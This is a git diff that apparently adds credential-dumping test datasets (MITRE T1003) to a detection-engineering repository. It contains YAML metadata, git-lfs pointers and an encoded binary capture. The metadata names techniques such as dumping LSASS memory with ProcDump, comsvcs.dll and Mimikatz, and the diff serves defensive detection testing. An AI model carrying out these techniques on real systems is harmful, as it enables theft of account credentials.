.../atomic_red_team/4688_windows-security.log | 3 + .../atomic_red_team/atomic_red_team.yml | 27 + .../atomic_red_team/crowdstrike_falcon.log | 3 + .../ntds_T1003.003_capattack.zip | Bin 0 -> 6091235 bytes .../atomic_red_team/windows-powershell.log | 3 + .../atomic_red_team/windows-sec-events.log | 3 + .../atomic_red_team/windows-security.log | 3 + .../atomic_red_team/windows-sysmon.log | 3 + .../atomic_red_team/windows-system.log | 3 + .../T1003.003/snapattack/snapattack.log | 3 + .../T1003.003/snapattack/snapattack.yml | 14 + .../T1003.004/NoLMHash/NoLMHash.yml | 13 + .../NoLMHash/lsa-reg-settings-sysmon.log | 3 + .../T1003.004/snapattack/snapattack.log | 3 + .../T1003.004/snapattack/snapattack.yml | 14 + .../T1003.005/snapattack/snapattack.log | 3 + .../T1003.005/snapattack/snapattack.yml | 14 + .../T1003.006/impacket/impacket.yml | 14 + .../impacket/windows-directory_service.log | 3 + .../impacket/windows-security-xml.log | 3 + .../T1003.006/impacket/windows-security.log | 3 + .../T1003.006/impacket/zeek-dce_rpc.log | 3 + .../T1003.006/mimikatz/mimikatz.yml | 13 + .../mimikatz/windows-directory_service.log | 3 + .../T1003.006/mimikatz/windows-security.log | 3 + .../mimikatz/xml-windows-security.log | 3 + .../T1003.006/mimikatz/zeek-dce_rpc.log | 3 + .../T1003.006/snapattack/snapattack.log | 3 + .../T1003.006/snapattack/snapattack.yml | 13 + .../copy_file_stdoutpipe.yml | 13 + .../copy_file_stdoutpipe/sysmon_linux.log | 3 + .../esxi_sensitive_files.log | 3 + .../esxi_sensitive_files.yml | 13 + .../auditd_proctitle_access_cred.log | 3 + .../linux_auditd_access_credential.log | 3 + .../linux_auditd_access_credential.yml | 17 + .../credential_extraction.yml | 14 + .../logAllDSInternalsModules.log | 3 + .../logAllMimikatzModules.log | 3 + .../logAllPowerSploitModulesWithOldNames.log | 3 + .../T1003/credential_extraction/logFgdump.log | 3 + .../logLazagneCredDump.log | 3 + .../logLiveKDFullKernelDump.log | 3 + .../logPowerShellModule.log | 3 + .../mimikatzwindows-sysmon.log | 3 + .../T1003/snapattack/snapattack.log | 3 + .../T1003/snapattack/snapattack.yml | 13 + .../T1003/wdigest_enable/sysmon.log | 3 + .../T1003/wdigest_enable/wdigest_enable.yml | 13 + .../access_lsass_memory_for_dump_creation.yml | 69 + ...entication_administrator_role_assigned.yml | 65 + ...ivileged_graph_api_permission_assigned.yml | 53 + .../create_remote_thread_into_lsass.yml | 67 + ...f_shadow_copy_with_wmic_and_powershell.yml | 72 + ...ial_dumping_via_symlink_to_shadow_copy.yml | 67 + ...f_shadowcopy_with_script_block_logging.yml | 56 + ...z_with_powershell_script_block_logging.yml | 75 + .../dump_lsass_via_procdump.yml | 116 + .../esxi_sensitive_files_accessed.yml | 49 + ...ivileged_graph_api_permission_assigned.yml | 53 + 90 files changed, 10120 insertions(+), 3 deletions(-) create mode 100644 scripts/attack_technique_tests/T1003.001/atomic_red_team/atomic_red_team.yml create mode 100644 scripts/attack_technique_tests/T1003.001/atomic_red_team/createdump_windows-sysmon.log create mode 100644 scripts/attack_technique_tests/T1003.001/atomic_red_team/crowdstrike_falcon.log create mode 100644 scripts/attack_technique_tests/T1003.001/atomic_red_team/procdump_t1003.001_capattack.zip create mode 100644 scripts/attack_technique_tests/T1003.001/atomic_red_team/procdump_windows-security.log create mode 100644 scripts/attack_technique_tests/T1003.001/atomic_red_team/windows-powershell.log create mode 100644 scripts/attack_technique_tests/T1003.001/atomic_red_team/windows-security.log create mode 100644 scripts/attack_technique_tests/T1003.001/atomic_red_team/windows-sysmon.log create mode 100644 scripts/attack_technique_tests/T1003.001/atomic_red_team/windows-sysmon_creddump.log create mode 100644 scripts/attack_technique_tests/T1003.001/atomic_red_team/windows-system.log create mode 100644 scripts/attack_technique_tests/T1003.001/snapattack/snapattack.log create mode 100644 scripts/attack_technique_tests/T1003.001/snapattack/snapattack.yml create mode 100644 scripts/attack_technique_tests/T1003.002/atomic_red_team/atomic_red_team.yml create mode 100644 scripts/attack_technique_tests/T1003.002/atomic_red_team/attack-range-windows-domain-controller.json create mode 100644 scripts/attack_technique_tests/T1003.002/atomic_red_team/copy-powershell.log create mode 100644 scripts/attack_technique_tests/T1003.002/atomic_red_team/crowdstrike_falcon.log create mode 100644 scripts/attack_technique_tests/T1003.002/atomic_red_team/windows-powershell.log create mode 100644 scripts/attack_technique_tests/T1003.002/atomic_red_team/windows-security.log create mode 100644 scripts/attack_technique_tests/T1003.002/atomic_red_team/windows-security_ssa.log create mode 100644 scripts/attack_technique_tests/T1003.002/atomic_red_team/windows-sysmon.log create mode 100644 scripts/attack_technique_tests/T1003.002/atomic_red_team/windows-system.log create mode 100644 scripts/attack_technique_tests/T1003.002/detect_copy_of_shadowcopy_with_script_block_logging/data.yml create mode 100644 scripts/attack_technique_tests/T1003.002/detect_copy_of_shadowcopy_with_script_block_logging/windows-xml.log create mode 100644 scripts/attack_technique_tests/T1003.002/serioussam/serioussam.yml create mode 100644 scripts/attack_technique_tests/T1003.002/serioussam/windows-powershell.log create mode 100644 scripts/attack_technique_tests/T1003.002/serioussam/windows-security.log create mode 100644 scripts/attack_technique_tests/T1003.002/serioussam/windows-xml.log create mode 100644 scripts/attack_technique_tests/T1003.002/snapattack/snapattack.log create mode 100644 scripts/attack_technique_tests/T1003.002/snapattack/snapattack.yml create mode 100644 scripts/attack_technique_tests/T1003.003/atomic_red_team/4688_windows-security.log create mode 100644 scripts/attack_technique_tests/T1003.003/atomic_red_team/atomic_red_team.yml create mode 100644 scripts/attack_technique_tests/T1003.003/atomic_red_team/crowdstrike_falcon.log create mode 100644 scripts/attack_technique_tests/T1003.003/atomic_red_team/ntds_T1003.003_capattack.zip create mode 100644 scripts/attack_technique_tests/T1003.003/atomic_red_team/windows-powershell.log create mode 100644 scripts/attack_technique_tests/T1003.003/atomic_red_team/windows-sec-events.log create mode 100644 scripts/attack_technique_tests/T1003.003/atomic_red_team/windows-security.log create mode 100644 scripts/attack_technique_tests/T1003.003/atomic_red_team/windows-sysmon.log create mode 100644 scripts/attack_technique_tests/T1003.003/atomic_red_team/windows-system.log create mode 100644 scripts/attack_technique_tests/T1003.003/snapattack/snapattack.log create mode 100644 scripts/attack_technique_tests/T1003.003/snapattack/snapattack.yml create mode 100644 scripts/attack_technique_tests/T1003.004/NoLMHash/NoLMHash.yml create mode 100644 scripts/attack_technique_tests/T1003.004/NoLMHash/lsa-reg-settings-sysmon.log create mode 100644 scripts/attack_technique_tests/T1003.004/snapattack/snapattack.log create mode 100644 scripts/attack_technique_tests/T1003.004/snapattack/snapattack.yml create mode 100644 scripts/attack_technique_tests/T1003.005/snapattack/snapattack.log create mode 100644 scripts/attack_technique_tests/T1003.005/snapattack/snapattack.yml create mode 100644 scripts/attack_technique_tests/T1003.006/impacket/impacket.yml create mode 100644 scripts/attack_technique_tests/T1003.006/impacket/windows-directory_service.log create mode 100644 scripts/attack_technique_tests/T1003.006/impacket/windows-security-xml.log create mode 100644 scripts/attack_technique_tests/T1003.006/impacket/windows-security.log create mode 100644 scripts/attack_technique_tests/T1003.006/impacket/zeek-dce_rpc.log create mode 100644 scripts/attack_technique_tests/T1003.006/mimikatz/mimikatz.yml create mode 100644 scripts/attack_technique_tests/T1003.006/mimikatz/windows-directory_service.log create mode 100644 scripts/attack_technique_tests/T1003.006/mimikatz/windows-security.log create mode 100644 scripts/attack_technique_tests/T1003.006/mimikatz/xml-windows-security.log create mode 100644 scripts/attack_technique_tests/T1003.006/mimikatz/zeek-dce_rpc.log create mode 100644 scripts/attack_technique_tests/T1003.006/snapattack/snapattack.log create mode 100644 scripts/attack_technique_tests/T1003.006/snapattack/snapattack.yml create mode 100644 scripts/attack_technique_tests/T1003.008/copy_file_stdoutpipe/copy_file_stdoutpipe.yml create mode 100644 scripts/attack_technique_tests/T1003.008/copy_file_stdoutpipe/sysmon_linux.log create mode 100644 scripts/attack_technique_tests/T1003.008/esxi_sensitive_files/esxi_sensitive_files.log create mode 100644 scripts/attack_technique_tests/T1003.008/esxi_sensitive_files/esxi_sensitive_files.yml create mode 100644 scripts/attack_technique_tests/T1003.008/linux_auditd_access_credential/auditd_proctitle_access_cred.log create mode 100644 scripts/attack_technique_tests/T1003.008/linux_auditd_access_credential/linux_auditd_access_credential.log create mode 100644 scripts/attack_technique_tests/T1003.008/linux_auditd_access_credential/linux_auditd_access_credential.yml create mode 100644 scripts/attack_technique_tests/T1003/credential_extraction/credential_extraction.yml create mode 100644 scripts/attack_technique_tests/T1003/credential_extraction/logAllDSInternalsModules.log create mode 100644 scripts/attack_technique_tests/T1003/credential_extraction/logAllMimikatzModules.log create mode 100644 scripts/attack_technique_tests/T1003/credential_extraction/logAllPowerSploitModulesWithOldNames.log create mode 100644 scripts/attack_technique_tests/T1003/credential_extraction/logFgdump.log create mode 100644 scripts/attack_technique_tests/T1003/credential_extraction/logLazagneCredDump.log create mode 100644 scripts/attack_technique_tests/T1003/credential_extraction/logLiveKDFullKernelDump.log create mode 100644 scripts/attack_technique_tests/T1003/credential_extraction/logPowerShellModule.log create mode 100644 scripts/attack_technique_tests/T1003/credential_extraction/mimikatzwindows-sysmon.log create mode 100644 scripts/attack_technique_tests/T1003/snapattack/snapattack.log create mode 100644 scripts/attack_technique_tests/T1003/snapattack/snapattack.yml create mode 100644 scripts/attack_technique_tests/T1003/wdigest_enable/sysmon.log create mode 100644 scripts/attack_technique_tests/T1003/wdigest_enable/wdigest_enable.yml create mode 100644 scripts/detection_tests/access_lsass_memory_for_dump_creation.yml create mode 100644 scripts/detection_tests/azure_ad_privileged_authentication_administrator_role_assigned.yml create mode 100644 scripts/detection_tests/azure_ad_privileged_graph_api_permission_assigned.yml create mode 100644 scripts/detection_tests/create_remote_thread_into_lsass.yml create mode 100644 scripts/detection_tests/creation_of_shadow_copy_with_wmic_and_powershell.yml create mode 100644 scripts/detection_tests/credential_dumping_via_symlink_to_shadow_copy.yml create mode 100644 scripts/detection_tests/detect_copy_of_shadowcopy_with_script_block_logging.yml create mode 100644 scripts/detection_tests/detect_mimikatz_with_powershell_script_block_logging.yml create mode 100644 scripts/detection_tests/dump_lsass_via_procdump.yml create mode 100644 scripts/detection_tests/esxi_sensitive_files_accessed.yml create mode 100644 scripts/detection_tests/o365_privileged_graph_api_permission_assigned.yml diff --git a/.gitignore b/.gitignore index 829d6e3c4..b7b40b0b9 100644 --- a/.gitignore +++ b/.gitignore @@ -7,9 +7,6 @@ __pycache__/ *.py[cod] *$py.class -scripts/detection_tests/** -scripts/attack_technique_tests/** - # C extensions *.so .env diff --git a/scripts/attack_technique_tests/T1003.001/atomic_red_team/atomic_red_team.yml b/scripts/attack_technique_tests/T1003.001/atomic_red_team/atomic_red_team.yml new file mode 100644 index 000000000..035258bfe --- /dev/null +++ b/scripts/attack_technique_tests/T1003.001/atomic_red_team/atomic_red_team.yml @@ -0,0 +1,35 @@ +author: Patrick Bareiss, Michael Haag +id: cc9b25d6-efc9-11eb-926b-550bf0943fbb +date: '2022-01-12' +description: 'Atomic Test Results: Successful Execution of test T1003.001-1 Windows + Credential Editor Successful Execution of test T1003.001-2 Dump LSASS.exe Memory + using ProcDump Return value unclear for test T1003.001-3 Dump LSASS.exe Memory using + comsvcs.dll Successful Execution of test T1003.001-4 Dump LSASS.exe Memory using + direct system calls and API unhooking Return value unclear for test T1003.001-6 + Offline Credential Theft With Mimikatz Return value unclear for test T1003.001-7 + LSASS read with pypykatz ' +environment: attack_range +directory: atomic_red_team +mitre_technique: +- T1003.001 +datasets: +- name: windows-sysmon_creddump + path: /datasets/attack_techniques/T1003.001/atomic_red_team/windows-sysmon_creddump.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: procdump_windows-security + path: /datasets/attack_techniques/T1003.001/atomic_red_team/procdump_windows-security.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security +- name: crowdstrike_falcon + path: /datasets/attack_techniques/T1003.001/atomic_red_team/crowdstrike_falcon.log + sourcetype: crowdstrike:events:sensor + source: crowdstrike +- name: createdump_windows-sysmon + path: /datasets/attack_techniques/T1003.001/atomic_red_team/createdump_windows-sysmon.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: windows-sysmon + path: /datasets/attack_techniques/T1003.001/atomic_red_team/windows-sysmon.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/scripts/attack_technique_tests/T1003.001/atomic_red_team/createdump_windows-sysmon.log b/scripts/attack_technique_tests/T1003.001/atomic_red_team/createdump_windows-sysmon.log new file mode 100644 index 000000000..9ea48398b --- /dev/null +++ b/scripts/attack_technique_tests/T1003.001/atomic_red_team/createdump_windows-sysmon.log @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:b898327b2b446ba63c13934d50c899eb4b2ee2c722a7c6c4a1dae6c515720001 +size 10636 diff --git a/scripts/attack_technique_tests/T1003.001/atomic_red_team/crowdstrike_falcon.log b/scripts/attack_technique_tests/T1003.001/atomic_red_team/crowdstrike_falcon.log new file mode 100644 index 000000000..e5956dcb3 --- /dev/null +++ b/scripts/attack_technique_tests/T1003.001/atomic_red_team/crowdstrike_falcon.log @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:9eb639b8642f067f76ddb8b4ab66494deb9893eed528bcb02063802c2dbff140 +size 77504 diff --git a/scripts/attack_technique_tests/T1003.001/atomic_red_team/procdump_t1003.001_capattack.zip b/scripts/attack_technique_tests/T1003.001/atomic_red_team/procdump_t1003.001_capattack.zip new file mode 100644 index 0000000000000000000000000000000000000000..e9e8f5f05592313cf974d8cad576b68b07834228 GIT binary patch literal 2852243 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 